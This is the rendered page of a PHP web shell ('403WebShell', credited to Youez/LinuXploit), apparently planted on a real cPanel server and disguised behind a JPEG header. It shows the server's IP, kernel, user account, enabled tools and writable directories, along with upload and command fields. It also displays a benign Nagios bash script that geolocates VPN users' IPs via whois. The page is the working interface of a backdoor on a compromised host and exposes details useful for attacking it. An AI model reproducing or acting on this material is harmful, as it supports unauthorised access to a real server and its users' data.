����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.131.13.149
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_vpn_conn
#!/usr/bin/env bash
values=$( grep ROUTING_TABLE /etc/openvpn/server/tun0.status | tail -n +2 | awk -F, {'print $3,$4'} | sed 's/:[0-9]*//'| sort | sed 'n;d')

function get_country {
  echo "$1" | grep -i "country"| tail -n 1| sed 's/ //g; s/.*://'
}

mapfile -t users_ips <<< "$values"

for ((i = 0; i < ${#users_ips[@]} - 1; i++)); do
  read -r user1 ip1 <<< "${users_ips[i]}"
  read -r user2 ip2 <<< "${users_ips[i+1]}"

  if [[ "$user1" == "$user2" ]]; then
    whois_data1=$(whois $ip1)
    whois_data2=$(whois $ip2)
    if echo "$whois_data1" | grep -q STARLINK && echo "$whois_data2" | grep -q STARLINK; then
      echo "$user1 connected with $ip1 and $ip2 from Starlink"
      exit 0
    elif echo "$whois_data1" | grep -q STARLINK; then
      echo "$user1 connected with $ip1 from Starlink and $ip2 from $(get_country "$whois_data2")"
      exit 0
    elif echo "$whois_data2" | grep -q STARLINK; then
      echo "$user1 connected with $ip2 from Starlink and $ip1 from $(get_country "$whois_data1")"
      exit 0
    else
      echo "$user1 connected with $ip1 from $(get_country "$whois_data1") and $ip2 from $(get_country "$whois_data2")"
      exit 1
    fi
  fi
done

Youez - 2016 - github.com/yon3zu
LinuXploit